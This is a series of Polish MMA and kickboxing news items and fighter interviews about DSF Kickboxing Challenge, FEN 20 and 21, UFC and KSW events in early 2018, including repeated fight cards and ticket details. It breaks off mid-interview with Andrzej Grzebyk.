Rafał Dudek: "Starty w DSF Kickboxing Challenge to mój priorytet!"

Rafał Dudek, jeden z najbardziej znanych polskich kickbokserów, wystąpi na DSF Kickboxing Challenge: TWIERDZA. Impreza odbędzie się 9 marca w Nowym Dworze Mazowieckim. W walce wieczoru w federacji zadebiutuje Piotr Strus. Wcześniej w obronie tytułu mistrza DSF Kickboxing Challenge w kategorii do 81 kilogramów powalczy specjalista Full Contact – Łukasz Wichowski.

Blisko 34-letni Rafał Dudek walczył na ringach całego świata dla najlepszych federacji jak Glory czy Enfusion. W Polsce od trzech lat związany jest z DSF Kickboxing Challenge. W tym czasie sądeczanin dwukrotnie był bohaterem walki wieczoru – na pierwszej gali „Najlepsi z Najlepszych” w Champions Sports Bar Restaurant w grudniu 2016 roku oraz w czerwcu 2017 roku na DSF Kickboxing Challenge 10 w Nowym Sączu, gdzie pokonał przed własną publicznością kickboksera i boksera Rafała Jackiewicza.

""

Stawiam na DSF Kickboxing Challenge. Starty tutaj to dla mnie priorytet – nie kryje Dudek, który w ubiegłym roku wystąpił również na dwóch galach GLORY. – Mam różne propozycje zagraniczne. Chciałbym stoczyć w tym roku cztery walki zawodowe – kończy amatorski i zawodowy mistrz Polski K-1.

W 2017 roku Rafał narzucił sobie szalone tempo. W krótkim czasie stoczył trzy trudne pojedynki, co okupił m.in. problemami ze zdrowiem. Dwie walki zakończyły się jego porażkami na punkty.

W ubiegłym roku kalendarz dziwnie się ułożył i stoczyłem aż trzy walki w ciągu dwóch miesięcy. To odbiło się na mojej dyspozycji – uważa Dudek. – Nawet wyniki krwi wykazały, że nie wszystko było w porządku. Musiałem zmienić pewne rzeczy i odbudować organizm. Pracowałem także nad warstwą mentalną. Moje jednostki treningowe stały się krótsze, ale bardziej intensywne. Obecnie czuję się świetnie i będę w pełni gotowy na 9 marca – zapewnia.

""

Mimo ponad trzydziestu walk zawodowych na koncie i trwającej od wielu lat kariery, Rafał Dudek wciąż prezentuje w ringu wysoki europejski poziom.

Pamiętam moje walki sprzed dwóch lat. To był sztos! Wiem, że stać mnie jeszcze na taką formę, by dać ludziom niezapomniane widowiska. Mam sobie trochę do udowodnienia. Popełniłem kilka błędów, ale to już za mną. Teraz doczekaliśmy się federacji, która jest w stanie zakontraktować każdego zawodnika. Jestem przekonany, że z kilkoma najlepszymi będę mógł się zmierzyć w Polsce. Będę gotowy, by podjąć rękawice z każdym – zapewnia Rafał Dudek.

W tym roku Dudek nie zamierza powielać błędów przeszłości i planuje robić większe odstępy między walkami, by móc w pełni się regenerować i przystępować do każdego pojedynku w optymalnej formie. Kluczowe mają być dyscyplina i zachowanie tej samej sylwetki przez cały sezon startów.

Jestem i zawsze byłem zdecydowanym przeciwnikiem dopingu. Wszyscy zawodnicy powinni mieć w ringu równe szanse – apeluje nowosądeczanin. – Nie walczę w wadze ciężkiej, masa mięśniowa nie jest tu potrzebna. Gdyby to sylwetka walczyła, to kulturyści byliby mistrzami świata w sportach walki. Oczywiście każdy zawodnik jest inny, ale w moim klubie obserwuję różnych fighterów i radzę wszystkim skupiać się jak najwięcej na technice – przypomina Rafał Dudek.

Gala „DSF Kickboxing Challenge: Twierdza” odbędzie się 9 marca Hali NOSiR w Nowym Dworze Mazowieckim. Bilety w cenie od 60 PLN są dostępne w serwisie TicketClub.pl.

PREMIERA: PZKB TV odc. 21

Zapraszamy do obejrzenia #21 odcinka programu z serii PZKB TV. Naszym gościem był Rafał Mazurowski trener Reprezentacji Polski Kickboxingu w formule Kick Light oraz trener i prezes klubu Centrum Sportów Walki "Champion" a także NGF Champion TV.

[kod]

Błeszyński kontra Kwieciński na FEN 20!

Adrian Błeszyński (4-2) będzie rywalem Alana Kwiecińskiego (6-5) podczas gali Fight Exclusive Night 20 "Next Level". Pojedynek w formule K-1 odbędzie się w kategorii wagowej do 77 kilogramów.

Błeszyński to stary-dobry znajomy wszystkich kibiców FEN. Urodzony w Dąbrowie Górniczej fighter pod szyldem federacji wystąpi już po raz piąty. Podczas 18. edycji, która odbyła się w Koszalinie, pewnie pokonał przez poddanie Piotra Tutkowskiego. Dwa miesiące później we Wrocławiu stoczył jedną z najlepszych walk w historii federacji FEN i nieznacznie przegrał na punkty z Tymoteuszem Łopaczykiem. Wcześniej mierzył się na FEN 14 z Łukaszem Stankiem i FEN 11 z Tomaszem Lepiarskim. Jego widowiskowy styl powoduje, że każdy pojedynek 31-letniego „Aresa” budzi ogromne zainteresowanie kibiców.

Pojedynek z Błeszyńskim będzie trzecim występem Kwiecińskiego pod szyldem FEN, z czego drugim w formule K-1. Podczas 11. edycji zawodnik próbował swoich sił w MMA. W Warszawie wróci do klatki FEN po dziesięciu miesiącach przerwy. Były uczestnik popularnego reality show „Warsaw Shore” w przeszłości był dwukrotnym wicemistrzem świata w kickboxingu. 2017 rok zakończył zwycięstwem w starciu z Radosławem Żaglewskim.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • Adrian Błeszyński VS Alan Kwieciński -77 kg K-1 *

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Alan Kwieciński wystąpi na FEN 20!

Znamy nazwisko kolejnego bohatera gali Fight Exclusive Night 20 "Next Level". 10 marca w warszawskiej hali Torwar kibice będą mieli przyjemność zobaczyć w akcji Alana Kwiecińskiego (6-5). Zawodnik wystąpi w formule K-1 w kategorii do 77 kilogramów.

Będzie to trzeci występ Kwiecińskiego pod szyldem FEN, z czego drugi w formule K-1. Podczas 11. edycji zawodnik próbował swoich sił w MMA. W Warszawie wróci do klatki FEN po dziesięciu miesiącach przerwy. Były uczestnik popularnego reality show "Warsaw Shore" w przeszłości był dwukrotnym wicemistrzem świata w kickboxingu. 2017 rok zakończył zwycięstwem w starciu z Radosławem Żaglewskim.

– Miało być 10 pojedynków podczas jubileuszowej gali i tak też będzie. Czwarte zestawienie w formule K-1 uczyni to wydarzenie jeszcze lepszym. Niespełna cztery tygodnie do pierwszego gongu, a my mamy jeszcze przygotowane dla wszystkich kibiców niespodzianki. Bądźcie czujni! – powiedział Paweł Jóźwiak, prezes federacji FEN.

Nazwisko przeciwnika Alana Kwiecińskiego federacja FEN ogłosi w ciągu najbliższych dni.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Gwiazdor ACB w DSF Kickboxing Challenge!

Piotr Strus to kolejna gwiazda sportów walki, która wiąże się z DSF Kickboxing Challenge!  W poniedziałek warszawski wojownik podpisał kontrakt z federacją. Jako kickbokser zadebiutuje już 9 marca na gali w Nowym Dworze Mazowieckim.

Do tej pory swoją karierę Strus budował poprzez walki w MMA – walcząc m.in. dla KSW czy obecnie dla ACB. Ale sporty stójkowe nie są mu obce. 29-letni zawodnik zaczynał właśnie od typowo uderzeniowych dyscyplin. Polak odnosił sukcesy w kickboxingu (dwukrotne mistrzostwo Polski młodzieżowców w formule low kick), muay thai (mistrzostwo Polski seniorów) i sandzie (Puchar Świata w Chinach, brązowe medale mistrzostw Europy i świata).

Wywodzę się z kickboxingu i ten sport nadal jest bardzo bliski mojemu sercu. Od kilku tygodni w mediach pojawiały się spekulacje na temat podpisania umowy ze mną, chodziło jednak o Karola Celińskiego. To otworzyło jednak drogę do rozmów i Robert Złotkowski zaproponował mi dołączenie do DSF Kickboxing Challenge na podobnych zasadach – tłumaczy Strus.

Trenujący w klubie WCA Fight Team Strus wyrobił sobie mocne nazwisko w MMA. Zanim podpisał umowę z ACB, dał się poznać fanom w Polsce między innymi dzięki występom w KSW. Teraz otrzyma szansę toczenia zawodowych walk kickbokserskich.

Propozycja od DSF Kickboxing Challenge to dla mnie duży zaszczyt i wymarzone rozwiązanie. Występ w największej rodzimej federacji kickboxingu to szansa na dodatkowy start podczas przygotowań do walki o pas ACB, ta jednak czeka mnie dopiero za kilka miesięcy, więc złożyło się wręcz idealnie – podkreśla Piotr Strus.

W tym roku do DSF Kickboxing Challenge dołączyli już m.in. byli mistrzowie FEN – Paweł Biszczak i Róża Gumienna, robiący furorę poza granicami Polski Dawid Żółtaszek, młodziutki mistrz świata K-1 Adam „Polish Psycho” Gielata oraz wspomniany wyżej inny zawodnik ACB – Karol „Cebula” Celiński.

Nie ukrywam, że z ogromnym podziwem przyglądam się temu, jak rozwija się DSF Kickboxing Challenge. Jestem przekonany, że ta federacja przywróci kickboxingowi jego należne miejsce. W końcu ten fantastyczny sport jest pokazywany z odpowiednim rozmachem. Sądzę, że wkrótce kickboxing odzyska dawną popularność i cieszę się, że będę mógł do tego dołożyć swoją cegiełkę – mówi trener aktora Tomasza Oświecińskiego.

Debiut Strusa w DSF Kickboxing Challenge odbędzie się już 9 marca w Nowym Dworze Mazowieckim – 20 kilometrów od Łomianek, gdzie się wychował.

Urodziłem się na warszawskiej Pradze, ale wychowałem się w Łomiankach, skąd jest naprawdę niedaleko do Nowego Dworu Mazowieckiego. Nie mam wątpliwości, że na mój debiut w DSF Kickboxing Challenge zjadą się kibice z całej okolicy. Zapraszam zarówno ich, jak i wszystkich fanów kickboxingu. Nie chcecie przegapić tego, co wydarzy się w ringu! – kończy Strus.

Gala „DSF Kickboxing Challenge: Twierdza” odbędzie się 9 marca Hali NOSiR w Nowym Dworze Mazowieckim. Bilety w cenie od 60 PLN są dostępne w serwisie TicketClub.pl.

FEN 21 26 maja we Wrocławiu!

Miło nam wszystkich poinformować, że gala FEN 21 odbędzie się 26 maja we Wrocławiu. Areną zmagań zawodników będzie Hala Orbita.

FEN po raz siódmy zawita do Wrocławia. To właśnie w stolicy Dolnego Śląska federacja zaczynała swoją działalność i tam też odbyła się ostatnia gala w 2017 roku. "Bitwa o Wrocław" była znakomitym wydarzeniem, które szerokim echem odbiło się w całej Polsce. Drugi akt 2018 roku to powrót do Hali Orbita.

– Wrocław nam leży i 26 maja ponownie zawitamy do tego miasta. Dolny Śląsk uwielbia sporty walki, co potwierdza każda organizowana przez nas gala w tym regionie. Po jubileuszu od razu organizujemy kolejne wydarzenie i mogę już dziś zapewnić, że zaoferujemy wszystkim kibicom znakomite emocje. W Hali Orbita zobaczymy w akcji Marcina Zontka, Tymoteusza Łopaczyka i Mateusza Głąba. O kolejnych nazwiskach poinformujemy w swoim czasie – powiedział Paweł Jóźwiak, prezes FEN.

Przedsprzedaż biletów na galę FEN 21 rozpocznie się 15 lutego o godzinie 15 i będzie dostępna wyłącznie na fen-mma.com/bilet. W przedsprzedaży bilety będą dostępne w specjalnej atrakcyjnej cenie dla fanów FEN. By wziąć udział w przedsprzedaży należy wpisać specjalny kod udostępniony na kanałach społecznościowych federacji oraz jej partnerów.

Przedsprzedaż trwa do 16 lutego do godziny 15:00. Po tym terminie rusza otwarta sprzedaż u stałych partnerów biletowych serwisu.

***

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Held na zastępstwo?

Marcin Held czeka na swoją piątą walkę w UFC. Tyszanin zgłosił akces do pojedynku z Beneilem Dariushem.

Można powiedzieć, że w Gdańsku Marcin Held powrócił do "żywych". Gala UFC Fight Night 118 okazała się szczęśliwa dla Polaka, który odniósł pierwsze zwycięstwo w amerykańskiej organizacji MMA. 26-latek na przestrzeni trzech rund okazał się lepszy od Nasrata Haqparasta. Mówiło się, że dla Polaka to walka ostatniej szansy i udało mu się "uciec spod topora".

Marcin Held trafił do UFC jesienią 2017 roku. Po jego występach w amerykańskiej organizacji obiecywano sobie wiele, bo zawodnik znakomicie radził sobie w Bellatorze, gdzie miał okazję walczyć o pas mistrzowski wagi lekkiej. W listopadzie 2015 roku przegrał jednak z Willem Brooksem.

Wracając do UFC, w debiucie polski lekki przegrał z Diego Sanchezem. W drugiej walce toczył wyrównany bój z Joe Lauzonem i wydawało się, że sędziowie zwycięstwo powinni przyznać Heldowi, jednak wskazali inaczej. Nawet rywal nie ukrywał zdziwienia. Pojedynek z Damirem Hadzoviciem był jak dotąd jedynym, który Held przegrał przez nokaut. Kolano Bośniaka doszło do głowy Polaka, a warto podkreślić, że ten wcześniej kontrolował starcie. Held przegrał po raz trzeci, ale wydostał się z tarapatów i liczy na kolejny pojedynek.

Tyszanin nie daje o sobie zapomnieć i walczy o swoje. 26-latek aż rwie się do kolejnego pojedynku. Niedawno Polak zgłosił gotowość do walki z Kajanem Johnsonem, który pozostawał bez rywala na galę UFC Fight Night 127 w Londynie wobec kontuzji Rustama Khabilova. Włodarze UFC nie słyszeli jednak wołania Helda i zestawili Johnsona z Steviem Rayem.

Były zawodnik Bellatora podjął kolejną próbę. Teraz Held chce wykorzystać fakt, że kontuzji doznał Bobby Green, który 3 marca miał rywalizować podczas gali UFC 222 w Las Vegas z Beneilem Dariushem. Polak celuje w starcie z Amerykaninem, który na zwycięstwo czeka od blisko półtora roku. – Słyszałem, że szukacie kogoś dla Beneila Dariusha na UFC 22. Sean Shelby, Dana White, UFC, jestem gotowy – napisał polski zawodnik na Twitterze.

Dariush odniósł się do słów Helda. – Nie będę narzekał. Potrzebuję tylko nazwiska – odpowiedział Amerykanin.

Pozostaje czekać na rozwój wypadków. Held to zawodnik, które ma spore możliwości i nie raz udowodnił, że ma ogromny talent. 16 z 23 walk wygrał przed czasem. Przydałoby się dopisać zwycięstwo przez poddanie w UFC. Czy, a może kiedy Polak dostanie kolejną szansę w UFC?

KM

Czy „Imadło” zaciśnie Williamsa?

Przed Oskarem Piechotą druga walka w UFC. W niedzielę 18 lutego w Frank Erwin Center w Austin Polak zmierzy się z Timem Williamsem.

Piechota trafił tam, gdzie jego miejsce – tak mówiło wielu, gdy fighter trafił do UFC. Do najlepszej organizacji MMA na świecie "Imadło" mógł zawitać zdecydowanie wcześniej, ale na przeszkodzie stanęła kontuzja. Poddanie japońskim krawatem w styczniu 2015 roku Craiga White'a wprawiło wszystkich w zachwyt. Wtedy wiadomo było, że wielka kariera stoi przed Polakiem otworem. Zerwane więzadło krzyżowe przednie, operacja, rehabilitacja i Piechota kolejną walkę stoczył dopiero w grudniu 2016 roku. Podczas gali Spartan Fight 6 w drugiej rundzie poddał Nikosa Sokolisa. Ważnym wydarzeniem na drodze Piechoty była walka o pas wagi średniej organizacji Cage Warriors. Jego rywalem był Jason Radcliffe. 28-latek w zaledwie 32 sekundy pokonał rywala. Lewy sierpowy, a później ciosy w parterze i Polak w fantastyczny sposób utorował sobie drogę do UFC.

Piechota nie mógł sobie wyobrazić lepszego miejsca do debiutu w UFC niż Gdańsk, w którym się urodził. Polak zmierzył się z Jonathanem Wilsonem i od początku starcia spokojnie czekał na ruch przeciwnika. Pod koniec drugiej rundy Piechota odpalił potężny prawy, ale rywal dotrwał do końca odsłony. Wilson był czujny, gdyż zdawał sobie sprawę z atutów pochodzącego z Gdańska zawodnika. Pod koniec trzeciej rundy Piechota obijał rywala parterze. Polak zwycięsko rozpoczął przygodę z UFC. Teraz czas na kolejną walkę jednego z najlepszych polskich zawodników wagi średniej.

18 lutego Oskar Piechota wystąpi na gali UFC Fight Night 126. Jego rywalem będzie Tim Williams, dla którego będzie to debiut w najlepszej organizacji MMA na świecie. Przez długi czas Amerykanin był związany z CFFC. Williams ma serię pięciu zwycięstw z rzędu. Po raz ostatni przegrał w lipcu 2015 roku z Anthony'm Smithem.

Polak intensywnie trenował i przygotowywał się do walki. Pomagał mu m.in. Tomasz Jabłoński. W poniedziałek Piechota ruszył w drogę do Stanów Zjednoczonych. Na miejscu nie narzeka na samotność. – Podróż była długa ale już na miejscu, doleciał Kamil "Profesor" Umiński także była okazja się trochę poruszać razem z trenerem Grzegorz "Jakubek" Jakubowski. Czekamy aż dojedzie Marcin Tybura oraz Zbigniew "Zybi" Tyszka i polski skład będzie w komplecie. Fight week! – napisał Piechota na Facebooku.

W walce wieczoru gali UFC Fight Night 126 zaprezentują się Donald Cerrone i Yancy Medeiros. Szóstą walkę w amerykańskiej organizacji stoczy Marcin Tybura, który zmierzy się z Derrickiem Lewisem. Ostatnio Polak przegrał z Fabricio Werdumem.

Fot. Oskar Piechota Facebook

KM

Andryszak, Janikowski i Soldić ruszą na Wrocław

Gala KSW 43 za dwa miesiące, jednak organizacja powoli robi apetyty miłośnikom MMA. We wrocławskiej Hali Stulecia zobaczymy m.in. Michała Andryszaka, Damiana Janikowskiego i Roberto Soldicia.

1 – to liczba, która towarzyszy Michałowi Andryszakowi. 24 z 26 walk fightera urodzonego w Bydgoszczy kończyło się w pierwszych rundach. Gdy Andryszak wchodzi do oktagonu pewne jest, że pojedynek będzie efektowny. 25-latek wygrał ostatnich sześć walk, w tym trzy zakończył przed upływem jednej minuty. Andryszak ma za sobą występy na galach takich organizacji jak Cage Warriors, Fighters Arena, PLMMA oraz ACB. W KSW debiutował w marcu 2014 roku w Warszawie. Szybko uporał się z Pawłem Słowińskim, ale na kolejną walkę przyszło mu czekać ponad trzy lata. Podczas gali KSW 39, która odbyła się na stadionie PGE Narodowy Andryszak wygrał z Michałem Kitą przed duszenie, a jego akcję oceniono jako poddanie wieczoru. Jeszcze większe wrażenie zawodnik Ankosu MMA Poznań zrobił w grudniu w Katowicach. Gala KSW 41 należała do Michała Andryszaka. Fernando Rodrigues Jr ruszył na Polaka, ale otrzymał potężny cios, a 25-latek dokończył dzieła w parterze. Starcie trwało zaledwie 26 sekund! Podczas wrocławskiej gali Andryszak będzie chciał sprawić sobie prezent urodzinowy. Dwa dni wcześniej skończy 26 lat.

Niektórzy bawią się we wróżki i przepowiadają wielką karierę w MMA Damianowi Janikowskiemu. Dla brązowego medalisty olimpijskiego w zapasach z Londynu gala KSW 43 będzie wyjątkowa. Zawodnik wystąpi we Wrocławiu, czyli mieście, które jest bliskie jego sercu. Janikowski ma za sobą dwie walki w MMA. W debiucie na stadionie PGE Narodowy pokonał w pierwszej rundzie Julio Gallegosa. Kolejnym wyzwaniem dla byłego zapaśnika było starcie z legendą polskiego MMA Antonim Chmielewskim. Janikowski cały czas był aktywny, jednak 36-latek skutecznie odpierał jego ofensywne zapędy. W pierwszej rundzie medalista olimpijski obalił bardziej doświadczonego rywala. Rozstrzygnięcie przyszło w drugiej odsłonie. Chmielewski obalił Janikowskiego i szukał poddania, jednak sytuacja szybko się odwróciła i wrocławianin zasypał przeciwnika serią ciosów.

We Wrocławiu spotkają się Roberto Soldić i Dricuss du Plessis. Stawką pojedynku będzie pas w wadze półśredniej. Niejako Soldić ma „dług” wobec du Plessisa. Zawodnik z RPA miał w grudniu zmierzyć się z Borysem Mańkowskim, jednak wypadł z powodu kontuzji. Jego miejsce zajął Chorwat, który nie miał litości dla Polaka. Z każdą minutą jego przewaga zaznaczała się. Soldić kompletnie wymęczył Mańkowskiego i narożnik po trzeciej rundzie poddał dotychczasowego czempiona. We Wrocławiu zapowiada się niezwykle interesujące starcie. Znakomita seria któregoś z zawodników zostanie przerwana. Zarówno Soldić, jak i du Plessis wygrali siedem ostatnich walk.

Fot. Damian Janikowski Facebook

KM

Mistrzostwa Polski K1 Pro-am PZKB

Mistrzostwa Polski K1 Pro-am PZKB – 17 luty 2018 r. Marki k/ Warszawy.

Rozkład jazdy:

15:00-17:00 – eliminacje

18:00-21:30 – Gala Finałowa podczas której zobaczymy 8 walk:

– 5 walk o tytuły mistrzowskie K1 Pro-am – w tym 1 walka kobiet
– 1 walka rankingowa K1
– 1 walka w formule Full Contact
– Walka wieczoru o Pas Zawodowego Mistrza Polski K1 w kat. -57 kg

LIVE: Mistrzostwa Polski K1 Pro-am PZKB

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K1 Pro-am PZKB.

Rozkład jazdy:

15:00-17:00 – eliminacje

18:00-21:30 – Gala Finałowa podczas której zobaczymy 8 walk:

– 5 walk o tytuły mistrzowskie K1 Pro-am – w tym 1 walka kobiet
– 1 walka rankingowa K1
– 1 walka w formule Full Contact
– Walka wieczoru o Pas Zawodowego Mistrza Polski K1 w kat. -57 kg

[kod]

Trybson przed FEN 20: Trenerze, zdrowiej, wygram to dla ciebie!

Paweł Trybała (3-3, 3 KO) zmierzy się z Tymoteuszem Świątkiem  (15-4, 7 KO, 6 SUB) podczas gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się w warszawskiej hali Torwar. "Trybson" jest przekonany, że pewnie wygra swoje debiutanckie starcie w FEN, a zwycięstwo zadedykuje swojemu trenerowi, który zmaga się z nowotworem.

Jak się czujesz? Do gali zostało 30 dni.

Paweł Trybała: Czuję się dobrze, ale bylem przez kilka dni przeziębiony i musiałem zmniejszyć obciążania. Już jest jednak w porządku, wychodzę z tego, trenuję raz dziennie. Nie będzie to miało wpływu na moją dyspozycję 10 marca.

Stresujesz się już pojedynkiem?

PT: Nie. Bardziej koncentruję i sobie go wizualizuję. Trenuję z myślą o najbliższej walce, ale nie towarzyszą mi nerwy.

Układasz swój plan pod przeciwnika?

PT: Tak, oczywiście. Niestety, ale mój trener nie bierze udziału w moich przygotowaniach, gdyż zmaga się z chorobą i jego dojście do pełni zdrowia jest w tym momencie najważniejsze. Trzymam za niego kciuki, wierzę, że sobie poradzi. Mirek żyje MMA cały czas, nawet będąc w szpitalu dzwonił do mnie i analizowaliśmy styl walki Tymoteusza Świątka. Mam już nakreślony w głowie plan, jak go pokonać i uczynię to 10 marca.

Niektórzy zawodnicy nie chcą oglądać swoich przeciwników przed pojedynkiem.

PT: Wiem, są dwie szkoły, ale ja wolę widzieć, jakie robi błędy, żeby móc je wykorzystać i zwrócić uwagę na to, co robi dobrze i na co uważać. Mi to pomaga, dlatego też tak zrobiłem.

I co, widziałeś błędy Świątka w ostatnich walkach?

PT: Popełnia je jak każdy, a moim zadaniem będzie je wykorzystać. "Uśmiercić" nieśmiertelnego i wygrać. Tak też zrobię.

Choroba trenera jest dodatkową motywacją?

PT: To są trudne sprawy i niestety mogą przydarzyć się każdemu z nas, dlatego trzymam kciuki za mojego trenera, żeby z tego wyszedł. Da radę, wierzę w to. Walczę dla niego, dla rodziny, dla kibiców – dla wszystkich sympatyzujących mi osób. Z taką wiarą wychodzę do klatki, bo wiem, że to wszystko ma sens.

Jak spędzisz najbliższe tygodnie przed walką?

PT: Czeka mnie dużo pracy, czas sparingów jest bardzo trudny, ale i decydujący w kontekście przygotowania się do walki. Dodatkowo będę ćwiczył wszystkie płaszczyzny – boks, jiu-jitsu, zapasy. Nie mogę dać się zaskoczyć i będę gotowy na wszystko.

Zbijesz wagę do 80 kilogramów? Tak ciężki Świątek jeszcze nie był.

PT: Zbiję, zadeklarowałem się, więc muszę to zrobić. Warunki fizyczne powinny być moim atutem, ale na to nie mogę patrzeć. Jestem silniejszy i lepszy, więc wygram. Świątek to dobry zawodnik, ale będę musiał go pokonać. Tak też się stanie w Warszawie.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Znamy rywala Andrzeja Grzebyka na FEN 20!

Anatolij Litwinow (5-0, 1 KO, 4 SUB) będzie rywalem Andrzeja Grzebyka (11-3, 4 KO, 3 SUB) podczas gali FEN 20 "Next Level". Dzięki temu znamy już osiem zestawień jubileuszowej edycji, która 10 marca odbędzie się w warszawskiej hali Torwar.

Litwinow jest Ukraińcem, urodził się 14 kwietnia 1991 roku w Siewierodoniecku. Z pięciu dotychczas stoczonych pojedynków wszystkie wygrał przed czasem, z czego aż czterokrotnie poddawał swoich rywali. Pierwszą walkę odbył w czerwcu 2016 roku i kolejne 13 miesięce były dla niego bardzo intensywne, gdyż w tym właśnie okresie miały miejsce wszystkie jego starcia. Za każdym razem występował w ojczyźnie i trzykrotnie mierzył się ze swoimi rywalami w kategorii półciężkiej.

Dla Andrzeja Grzebyka będzie to czwarty występ w organizacji FEN – w ostatniej walce na gali FEN 18 „Summer Edition” po znakomitej walce pokonał Marcina Naruszczkę, wcześniej, podczas FEN 14, przez techniczny nokaut po pierwszej rundzie wygrał z Białorusinem Alexeyem Repalovem. Na gali nr 9 „Go For It” natomiast uległ minimalnie na punkty Alessandro Di Chirico. Grzebyk jest znany z bardzo ofensywnego stylu walki  – aż 7 z 11 zwycięstw odniósł przez nokaut lub poddanie. Nieprzeciętnie utalentowany reprezentant Legion Team Tarnów może pochwalić się także zwycięstwami w przeszłości nad tak mocnymi fighterami, jak Mindaugas Verzbickas i Kamil Szymuszowski.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Grzebyk przed FEN 20: Skoro dostałem takiego rywala, to musi być dobry!

Andrzej Grzebyk (11-3, 4 KO, 3 SUB) poznał nazwisko rywala, z którym zmierzy się 10 marca podczas gali FEN 20 "Next Level". Anatolij Litwinow (5-0, 1 KO, 4 SUB) dopiero zadebiutuje w polskiej organizacji, a Grzebyk podkreśla, że wybór tego akurat przeciwnika nie będzie miał wpływu na to, jaki jego cel przed tym pojedynkiem.

Zadowolony z wyboru przeciwnika?

Andrzej Grzebyk: Czy ja wiem. Przyjąłem to ze spokojem. Skoro został zakontraktowany przez włodarzy FEN do walki ze mną, to znaczy, że musi dużo umieć i na pewno nie przyjedzie do Polski tylko po wypłatę. Nie widziałem go w akcji jeszcze prawdę mówiąc, to dopiero przede mną.

Jak dotychczasowe przygotowania?

AG: Bardzo dobrze, dziękuję. Forma dopisuje, wszystkie mniejsze urazy zostały zażegnane, więc teraz będę sparował i przygotowywał się pod mojego rywala. Trochę mnie nie było w klatce, chciałem wrócić szybciej, ale sprawy związane ze zdrowiem wyglądały w ten sposób, że musiałem wszystko w pełni wyleczyć, by po raz kolejny móc się bić.

Ze zdrowiem już wszystko w porządku?

AG: Tak, wszystko okej. Mam jakieś małe problemy, ale to skutki ciężkich treningów, sparingów. Można powiedzieć, że jestem obolały, a nie kontuzjowany. Na pewnym poziomie każdy zawodnik musi dbać o swoje zdrowie, ja wszystko wyleczyłem, teraz pozostaje mi w spokoju szykować się do walki. Nie martwię się o nic, pozostaje mi tylko trenować.

Zostały cztery tygodnie. Jak je spędzisz?

AG: Na pewno nie będę odpoczywał – to dopiero przed samą walką. Trochę pojeżdżę po różnych klubach, będę sparował, chciałbym z jak najlepszymi zawodnikami móc zmierzyć się, by pomogli mi przygotować się przed 10 marca.

Nie chciałeś walczyć z Polakiem?

AG: Nie robiło mi to żadnej różnicy, choć pojedynki z Polakami są inne. Jest większa presja, atmosfera przed pojedynkiem jest inna, są zaczepki, prowokacje, często gdzieś wcześniej nasze drogi już się zeszły i łączy nas jakaś historia. Jest więcej otoczki przed samym pojedynkiem.

Gdybyś jednak przegrał z Ukraińcem, którego nikt w Polsce nie zna, to też dużo osób mogłoby pomyśleć, że wypadłeś słabo.

